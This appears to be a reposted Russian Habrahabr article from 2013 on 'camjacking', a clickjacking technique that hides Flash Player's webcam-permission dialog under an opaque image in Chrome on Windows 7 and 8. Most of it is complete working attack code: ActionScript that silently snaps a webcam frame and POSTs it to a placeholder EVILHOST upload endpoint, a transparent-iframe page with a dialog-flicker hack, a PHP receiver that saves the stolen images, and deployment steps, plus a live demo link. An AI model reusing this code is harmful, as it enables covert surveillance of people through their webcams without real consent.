{"id":182706,"date":"2013-06-10T01:42:02","date_gmt":"2013-06-09T21:42:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=182706"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=182706","title":{"rendered":"<span class=\"post_title\">Camjacking, \u043a\u0430\u043a \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f Clickjacking, \u0438\u043b\u0438 \u00ab\u0413\u044e\u043b\u044c\u0447\u0430\u0442\u0430\u0439! \u041e\u0442\u043a\u0440\u043e\u0439 \u043b\u0438\u0447\u0438\u043a\u043e!\u00bb<\/span>"},"content":{"rendered":"<div class=\"content html_format\">   \t<img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/eb9\/6e1\/669\/eb96e1669abfcb871b7de97547ceca4f.jpg\"\/><\/p>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0435, \u044f \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0438\u0437\u043b\u043e\u0436\u0438\u0442\u044c \u0441\u0443\u0442\u044c \u043d\u043e\u0432\u043e\u0439 \u0430\u0442\u0430\u043a\u0438( \u0441\u0430\u043c\u0430 \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u043d\u043e\u0432\u0430, \u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044c\u0442\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u0442\u0430\u043a). \u0411\u0430\u0433 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0435\u043d\u0435\u043d \u0434\u043b\u044f \u041e\u0421 Windows 7,8. \u0422\u0430\u043a\u0436\u0435 \u043d\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f Google Chrome, \u043d\u0443 \u0438 Flash. \u0422\u043e\u043f\u0438\u043a \u0431\u0443\u0434\u0435\u0442 \u043a\u0430\u0441\u0430\u0442\u044c\u0441\u044f \u0438\u0434\u0435\u0438 \u043e \u0442\u043e\u0442\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u043b\u0435\u0436\u043a\u0435, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0434\u043d\u0438. <br \/>  \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e? \u041f\u0440\u043e\u0448\u0443 \u043f\u043e\u0434 \u043a\u0430\u0442.<\/p>\n<p>  <a name=\"habracut\"><\/a><\/p>\n<p>  \u0428\u043b\u0430 \u043e\u0431\u044b\u0447\u043d\u0430\u044f \u043d\u043e\u0447\u044c, \u0438 \u043a\u0430\u043a \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u044f \u043a\u043e\u0432\u044b\u0440\u044f\u043b\u0441\u044f \u0432 \u043a\u043e\u0434\u0435. \u0423\u0436\u0435 \u0438 \u043d\u0435 \u0432\u0441\u043f\u043e\u043c\u043d\u044e \u0432 \u043a\u0430\u043a\u043e\u043c, \u043d\u043e \u043d\u043e\u0447\u044c \u0441\u044b\u0433\u0440\u0430\u043b\u0430 \u0441\u0432\u043e\u044e \u0440\u043e\u043b\u044c. \u0412\u044b \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0437\u0430\u0434\u0443\u043c\u044b\u0432\u0430\u043b\u0438\u0441\u044c: \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0441\u043a\u0440\u044b\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Flash Player&#8217;\u0430, \u043a\u043e\u0433\u0434\u0430 \u0444\u043b\u0435\u0448 \u0444\u0430\u0439\u043b \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u043a\u0430\u043c\u0435\u0440\u0435 \u0438\u043b\u0438 \u043c\u0438\u043a\u0440\u043e\u0444\u043e\u043d\u0443? \u041a\u0430\u043a \u0432\u043e\u0434\u0438\u0442\u0441\u044f, \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043c\u044b\u0441\u043b\u0438 \u043f\u0440\u0438\u0445\u043e\u0434\u044f\u0442 \u0441\u043f\u043e\u043d\u0442\u0430\u043d\u043d\u043e, \u043d\u043e \u043f\u043e\u0447\u0435\u043c\u0443 \u0431\u044b \u043d\u0435 \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u0442\u043e, \u0447\u0442\u043e \u0442\u0430\u043a \u0441\u0442\u0440\u0430\u043d\u043d\u043e \u0437\u0430\u0431\u0440\u0435\u043b\u043e \u0432 \u0442\u0432\u043e\u044e \u0433\u043e\u043b\u043e\u0432\u0443? \u0412\u043e\u0442 \u0438 \u044f \u043f\u043e\u0434\u0443\u043c\u0430\u043b \u0442\u0430\u043a \u0436\u0435.<\/p>\n<p>  \u041d\u0430\u043f\u0438\u0441\u0430\u0432 \u043f\u0440\u043e\u0441\u0442\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0441 opacity \u0438 \u0444\u043b\u0435\u0448 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u043c( \u0444\u043b\u0435\u0448 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u043a\u0430\u043c\u0435\u0440\u0435), \u0431\u044b\u043b\u043e \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043e, \u0447\u0442\u043e Firefox 21, Opera 12.15 \u0438\u043b\u0438 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044e\u0442 \u043f\u0440\u043e\u0437\u0440\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u0444\u043b\u0435\u0448 \u0430\u043d\u0438\u043c\u0430\u0446\u0438\u0438, \u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442. \u0410 \u0432\u043e\u0442 IE 10 \u0438 Chrome 27.0.1453.110 \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0438 \u043f\u0440\u043e\u0437\u0440\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u0430\u0432\u0430\u043b\u0438 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u043f\u043e\u0432\u0435\u0440\u0445 \u0441\u0435\u0431\u044f \u0442\u0435\u043a\u0441\u0442 \u0438\/\u0438\u043b\u0438 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443. \u0427\u0442\u043e, \u043d\u0435\u0441\u043e\u043c\u043d\u0435\u043d\u043d\u043e, \u043f\u043e\u0448\u043b\u043e \u0431\u044b \u043d\u0430\u0440\u0443\u043a\u0443 \u0432\u0435\u0431 \u0434\u0438\u0437\u0430\u0439\u043d\u0435\u0440\u0430\u043c. \u041d\u043e \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442\u043e\u043c \u0431\u044b\u043b\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0438 \u044f \u043d\u0430\u0447\u0430\u043b \u043a\u043e\u043f\u0430\u0442\u044c \u0433\u043b\u0443\u0431\u0436\u0435, \u0432\u0437\u044f\u0432 \u0437\u0430 \u0438\u0434\u0435\u044e Clickjacking \u0430\u0442\u0430\u043a\u0443, \u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0435\u043b\u0430\u0432 \u0435\u0435 \u043f\u043e\u0434 \u0441\u0432\u043e\u0438 \u043d\u0443\u0436\u0434\u044b, \u0442.\u0435 \u0437\u0430\u0438\u043c\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u00ab\u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435\u00bb \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0438.<\/p>\n<p>  \u042f \u0432\u044b\u0431\u0440\u0430\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u043a\u0430\u043c\u0435\u0440\u0435( \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0435\u0449\u0435 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043c\u0438\u043a\u0440\u043e\u0444\u043e\u043d\u0443, \u043d\u043e \u0442\u0430\u043a \u043b\u0438 \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u0432\u0430\u0436\u043d\u043e \u0442\u043e\u0433\u0434\u0430?) <br \/>  \u0418\u0442\u0430\u043a, \u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e\u0441\u0442\u0443\u044e \u0444\u043b\u0435\u0448\u043a\u0443, \u0434\u0435\u043b\u0430\u044e\u0449\u0443\u044e \u0441\u043d\u0438\u043c\u043e\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0435\u0431 \u043a\u0430\u043c\u0435\u0440\u044b \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u0435\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.<br \/>  \u042f \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0441\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u043c \u0432 ActionScript, \u0442\u0430\u043a \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0431\u0443\u0434\u0443 \u043d\u0430\u0440\u0435\u043a\u0430\u043d\u0438\u044f, \u0433\u043e\u0442\u043e\u0432 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u043e\u043f\u0440\u0430\u0432\u043a\u0438 \u0432 \u043a\u043e\u0434\u0435.<\/p>\n<pre><code class=\"actionscript\">package{ \timport flash.display.BitmapData;     import flash.display.Sprite;     import flash.media.Camera;     import flash.media.Video; \timport flash.net.*; \timport flash.utils.ByteArray; \timport flash.events.*; \tpublic class Main extends Sprite     {            private var cam:Camera;         private var video:Video; \t\tprivate var bitmapdata:BitmapData; \t\tprivate var ba:ByteArray; \t\tprivate var url:URLRequest = new URLRequest(&quot;http:\/\/EVILHOST\/upload.php&quot;); \/\/\u0421\u0430\u0439\u0442 \u0441 upload.php ( \u043e \u043d\u0451\u043c \u043d\u0438\u0436\u0435) \t\tprivate var wclose:URLRequest = new URLRequest(&quot;javascript:alert('Camjacked? Ok. |fil9{06.2013}|');&quot;); \t\tprivate var loader : URLLoader = new URLLoader();  \t\tpublic function Main():void {             run();         }          private function run():void         { \t     cam = Camera.getCamera(); \t\t if(cam != null){ \/\/\u0415\u0441\u043b\u0438 \u043a\u0430\u043c\u0435\u0440\u0430 \u0435\u0441\u0442\u044c \t\t\t cam.addEventListener(ActivityEvent.ACTIVITY, activityHandler); \t\t\t video = new Video(640, 480); \t\t     cam.setMode(640, 480, 60); \/\/60 fps              video.attachCamera(cam); \t\t } \t\t\t} \t\t\t private function activityHandler(event:ActivityEvent):void { \/\/\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c &quot;\u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b&quot; \u0434\u043e\u0441\u0442\u0443\u043f \t\t    bitmapdata = new BitmapData(video.width, video.height);             bitmapdata.draw(video); \t\t\tba = PNGEncoder.encode(bitmapdata); \/\/Adobe PNGEncoder \t\t\turl.method = URLRequestMethod.POST; \t\t\turl.data = ba; \t\t\tloader.addEventListener(Event.COMPLETE, on_complete);  \t\t\tloader.load(url);  \/\/\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443 \t\t\tfunction on_complete(e : Event):void {   \t\t\t\tnavigateToURL(wclose, '_self'); \/\/\u0412\u044b\u0432\u043e\u0434\u0438\u043c Alert \t\t\t\t}             cam.removeEventListener(ActivityEvent.ACTIVITY, activityHandler); \t\t\t}     } } <\/code><\/pre>\n<p>  \u0412\u0437\u044f\u0442\u044c <a href=\"https:\/\/code.google.com\/p\/as3corelib\/source\/browse\/trunk\/src\/com\/adobe\/images\/PNGEncoder.as\">PNGEncoder<\/a>. <br \/>  FlashDevelop \u043f\u0440\u043e\u0435\u043a\u0442 <a href=\"http:\/\/yadi.sk\/d\/MrMCmfez5eNIo\">\u0442\u0443\u0442<\/a><\/p>\n<p>  \u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0442\u0435\u0441\u0442\u043e\u0432, \u0431\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e, \u0447\u0442\u043e IE \u043d\u0435 \u0434\u0430\u0435\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u043f\u043e\u043b\u0443\u043f\u0440\u043e\u0437\u0440\u0430\u0447\u043d\u044b\u043c \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u043c, \u0442.\u0435 \u043d\u0435\u043b\u044c\u0437\u044f \u043a\u043b\u0438\u043a\u043d\u0443\u0442\u044c \u0432 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432\u043e\u043c \u043e\u043a\u043d\u0435.<br \/>  \u0422\u0430\u043a \u043a\u0430\u043a \u0443 \u043c\u0435\u043d\u044f Windows 8, \u0442\u043e \u0442\u0435\u0441\u0442\u044b \u043f\u043e\u0434 \u043d\u0435\u0439 \u043f\u0440\u043e\u0448\u043b\u0438 \u043d\u0430 \u0443\u0440\u0430, \u043e\u0434\u043d\u0430\u043a\u043e, \u043d\u0430 Windows 7 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432\u043e\u0435 \u043e\u043a\u043d\u043e \u0438\u0441\u0447\u0435\u0437\u0430\u043b\u043e( \u043f\u0440\u0438 opacity: 0) \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0444\u043b\u0435\u0448\u043a\u0443 \u00ab\u0432\u044b\u0434\u0435\u043b\u044f\u043b\u0438\u00bb \u043c\u044b\u0448\u043a\u043e\u0439. \u041d\u043e \u0438 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0431\u0435\u0434\u044b \u0431\u044b\u043b \u043d\u0430\u0439\u0434\u0435\u043d \u0441\u0432\u043e\u0439 \u00abDirty hack\u00bb( \u043e \u0447\u0451\u043c \u043f\u043e\u0437\u0436\u0435). \u041a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u043e\u0432\u0435\u0440\u0445 \u0444\u043b\u0435\u0448\u043a\u0438, \u0438 \u043d\u0430\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0432\u0435\u0440\u0445 \u0444\u043b\u0435\u0448\u043a\u0438 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438.<\/p>\n<p>  \u0418\u043c\u0435\u0435\u043c:<\/p>\n<p>  1) swf.html:<\/p>\n<pre><code>&lt;html&gt; &lt;body&gt; &lt;object width=&quot;270&quot; height=&quot;270&quot;&gt; &lt;param name=&quot;movie&quot; value=&quot;camjack.swf&quot;&gt; &lt;embed src=&quot;camjack.swf&quot; width=&quot;270&quot; height=&quot;270&quot;&gt; &lt;\/embed&gt; &lt;\/object&gt; &lt;\/body&gt; &lt;\/html&gt; <\/code><\/pre>\n<p>  2) index.html:<\/p>\n<pre><code>&lt;html&gt; &lt;head&gt;\t &lt;script&gt; var exit=function(){document.location='about:blank'}; \/\/\u0427\u0442\u043e \u043d\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u0434\u0430\u043a \u0447\u0438\u0441\u0442\u044b\u0439 \u043b\u0438\u0441\u0442 var tryimages=function(){ \/\/easy hack. \u0412\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043b\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f? return (document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)}; var load=function(){ \/\/\u041a\u0430\u0440\u0442\u0438\u043d\u043a\u0438 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u044b \u043a \u043f\u043e\u043a\u0430\u0437\u0443; \u041d\u0435 Chrome, Windows 7, Windows 8 if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1) || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & (navigator.userAgent.indexOf('Windows NT 6.2') == -1)))   { exit() }; \/\/Windows 7 Chrome hack if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ \/\/DIRTY HACK (Windows 7) - \u0420\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 &quot;\u043c\u0438\u0433\u043d\u0451\u0442&quot; setInterval(&quot;document.getElementById('ifr').height=1;document.getElementById('ifr').height=291&quot;,300); setInterval(&quot;document.getElementById('ifr').width=1;document.getElementById('ifr').width=291&quot;,350); setTimeout(&quot;document.getElementById('img').width=291&quot;,1000); setTimeout(&quot;document.getElementById('img').height=291&quot;,1070); \/\/\u0420\u0430\u0437\u043d\u0438\u0446\u0430 70\u043c\u0441 }}; &lt;\/script&gt; &lt;title&gt;Camjacking simple example&lt;\/title&gt; &lt;style&gt; iframe {    position: absolute;   opacity: 0.0;   z-index: 1; }; &lt;\/style&gt; &lt;\/head&gt; &lt;body onload='load()'&gt; &lt;!-- PNG 1x1 --&gt; &lt;img id='imgenabled' style='display:none' src='data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY\/j\/\/z8ABf4C\/qc1gYQAAAAASUVORK5CYII='&gt;&lt;\/img&gt; &lt;iframe id='ifr' src='.\/swf.html' width='290' height='290'&gt;&lt;\/iframe&gt; &lt;img id='img' src='.\/img.jpg' width='290' height='290'&gt;&lt;\/img&gt; &lt;\/body&gt; &lt;\/html&gt; <\/code><\/pre>\n<p>  3) img.jpg <a href=\"http:\/\/fil9.we2.ru\/img.jpg\">\u0442\u0443\u0442<\/a><\/p>\n<p>  4) upload.php: <\/p>\n<pre><code>&lt;?php $imgdata = file_get_contents('php:\/\/input');  \/\/input raw POST data $length = 10; $randomString = substr(str_shuffle(&quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;), 0, $length); $imgname = &quot;.\/images\/&quot;.$randomString.&quot;.png&quot;; file_put_contents($imgname, $imgdata);  \/\/PHP5 ?&gt; <\/code><\/pre>\n<p>  5) camjack.swf \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0441\u0430\u043c\u0438\u043c.<\/p>\n<p>  6) $mkdir .\/images<\/p>\n<p>  \u0412\u0441\u0435 \u044d\u0442\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0441 \u043b\u044e\u0431\u043e\u0432\u044c\u044e, \u0432 \u043a\u043e\u0440\u0435\u043d\u044c \u0441\u0430\u0439\u0442\u0430. \u0414\u0430, \u0438 \u043d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c crossdomain.xml \u0432 \u043a\u043e\u0440\u0435\u043d\u044c \u0441\u0430\u0439\u0442\u0430 \u0441 upload.php<\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0432\u0441\u0435\u0445 \u0442\u0430\u043d\u0446\u0435\u0432, \u0432 Windows 8 \u0432\u0441\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u043e\u0447\u0435\u043d\u044c \u0434\u0430\u0436\u0435 \u043d\u0438\u0447\u0435\u0433\u043e( opacity: 0.5):<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/196\/539\/4d7\/1965394d75598a4dc8c948a0237a3148.jpg\"\/><\/p>\n<p>  \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0441\u0430\u0439\u0442-\u043f\u0440\u0438\u043c\u0435\u0440( \u0441\u043f\u0430\u0441\u0438\u0431\u043e <a href=\"http:\/\/habrahabr.ru\/users\/korowkin\/\" class=\"user_link\">korowkin<\/a>). \u0415\u0441\u043b\u0438 \u0447\u0435\u0433\u043e \u043d\u0435 \u0437\u0430\u0432\u0435\u0434\u0435\u0442\u0441\u044f, \u043d\u0443 \u0438\u043b\u0438 \u0437\u0430\u0432\u0435\u0434\u0435\u0442\u0441\u044f, \u043f\u0440\u043e\u0448\u0443 \u043e\u0442\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0432\u0441\u0435\u0433\u043e \u043d\u0430 \u043f\u0430\u0440\u0435 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432. \u041d\u0435 \u0441\u0438\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u044c\u043d\u043e \u0438 \u0443\u0432\u0435\u0440\u0435\u043d \u0432 \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0448\u0435.<\/p>\n<p>  \u041f\u0440\u0438\u043c\u0435\u0440 \u043e\u043d\u043b\u0430\u0439\u043d: <a href=\"http:\/\/fil9.we2.ru\/\">fil9.we2.ru\/<\/a> (Google Chrome only)<\/p>\n<p>  \u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u043d\u0438\u043c\u043a\u043e\u0432 \u043e\u043d\u043b\u0430\u0439\u043d: <a href=\"http:\/\/fil9.we2.ru\/view.php\">fil9.we2.ru\/view.php<\/a><\/p>\n<p>  \u041a\u0430\u0436\u0434\u044b\u0435 30 \u043c\u0438\u043d\u0443\u0442 \u0441\u043d\u0438\u043c\u043a\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f. \u0415\u0441\u043b\u0438 \u0444\u043e\u0442\u043a\u043d\u0443\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u0443\u0436 \u0438\u0437 \u0440\u044f\u0434\u0430 \u0432\u043e\u043d \u0432\u044b\u0445\u043e\u0434\u044f\u0449\u0435\u0435, \u043d\u0430\u043f\u0438\u0448\u0438\u0442\u0435 \u043c\u043d\u0435, \u0443\u0434\u0430\u043b\u044e. <\/p>\n<p>  \u041d\u0443 \u0438 \u0434\u0432\u0430 \u0432\u0438\u0434\u0435\u043e \u0441 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u043a\u043e\u0434\u0430.<\/p>\n<p>  Windows 7:<\/p>\n<p>  <iframe loading=\"lazy\" width=\"560\" height=\"349\" src=\"http:\/\/www.youtube.com\/embed\/hQj6bqTAXKQ?wmode=opaque\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>  Windows 8:<\/p>\n<p>  <iframe loading=\"lazy\" width=\"560\" height=\"349\" src=\"http:\/\/www.youtube.com\/embed\/vuTd481N6Os?wmode=opaque\" frameborder=\"0\" allowfullscreen><\/iframe>  \t\t\t\t<\/p>\n<div class=\"polling\">\n<form action=\"\/json\/polling\/\" class=\"poll\" method=\"post\">\n<div class=\"poll_title\">\u0410 \u0443 \u0432\u0430\u0441 \u0437\u0430\u0432\u0435\u043b\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440?<\/div>\n<p>  \t\t<input type=\"hidden\" name=\"post_id\" value=\"182706\"\/> \t\t<input type=\"hidden\" name=\"polling_question_id\" value=\"8134\"\/>  \t\t<\/p>\n<table class=\"answer\">\n<tr>\n<td class=\"input\"> \t\t\t\t\t<input type=\"checkbox\" id=\"vv41952\" \t\t\t\t\t\tclass=\"checkbox js-field-data\" \t\t\t\t\t\tname=\"variant[]\" \t\t\t\t\t\tvalue=\"41952\" \/> \t\t\t\t<\/td>\n<td class=\"label\"> \t\t\t\t\t<label for=\"vv41952\">\u0414\u0430 (Windows 7)<\/label> \t\t\t\t<\/td>\n<\/tr>\n<tr>\n<td class=\"input\"> \t\t\t\t\t<input type=\"checkbox\" id=\"vv41954\" \t\t\t\t\t\tclass=\"checkbox js-field-data\" \t\t\t\t\t\tname=\"variant[]\" \t\t\t\t\t\tvalue=\"41954\" \/> \t\t\t\t<\/td>\n<td class=\"label\"> \t\t\t\t\t<label for=\"vv41954\">\u0414\u0430 (Windows 8)<\/label> \t\t\t\t<\/td>\n<\/tr>\n<tr>\n<td class=\"input\"> \t\t\t\t\t<input type=\"checkbox\" id=\"vv41956\" \t\t\t\t\t\tclass=\"checkbox js-field-data\" \t\t\t\t\t\tname=\"variant[]\" \t\t\t\t\t\tvalue=\"41956\" \/> \t\t\t\t<\/td>\n<td class=\"label\"> \t\t\t\t\t<label for=\"vv41956\">\u041d\u0435\u0442 (Windows 7)<\/label> \t\t\t\t<\/td>\n<\/tr>\n<tr>\n<td class=\"input\"> \t\t\t\t\t<input type=\"checkbox\" id=\"vv41958\" \t\t\t\t\t\tclass=\"checkbox js-field-data\" \t\t\t\t\t\tname=\"variant[]\" \t\t\t\t\t\tvalue=\"41958\" \/> \t\t\t\t<\/td>\n<td class=\"label\"> \t\t\t\t\t<label for=\"vv41958\">\u041d\u0435\u0442 (Windows 8)<\/label> \t\t\t\t<\/td>\n<\/tr>\n<\/table>\n<p class=\"for_users_only_msg\">\u0422\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043e\u043f\u0440\u043e\u0441\u0435. <a href=\"\/login\/\">\u0412\u043e\u0439\u0434\u0438\u0442\u0435<\/a>, \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430.<\/p>\n<p class=\"total\">\u041d\u0438\u043a\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u043b. \u0412\u043e\u0437\u0434\u0435\u0440\u0436\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u043d\u0435\u0442.<\/p>\n<\/p><\/form>\n<\/p><\/div>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/182706\/\"> http:\/\/habrahabr.ru\/post\/182706\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\">   \t<img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/eb9\/6e1\/669\/eb96e1669abfcb871b7de97547ceca4f.jpg\"\/><\/p>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0435, \u044f \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0438\u0437\u043b\u043e\u0436\u0438\u0442\u044c \u0441\u0443\u0442\u044c \u043d\u043e\u0432\u043e\u0439 \u0430\u0442\u0430\u043a\u0438( \u0441\u0430\u043c\u0430 \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u043d\u043e\u0432\u0430, \u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044c\u0442\u0435 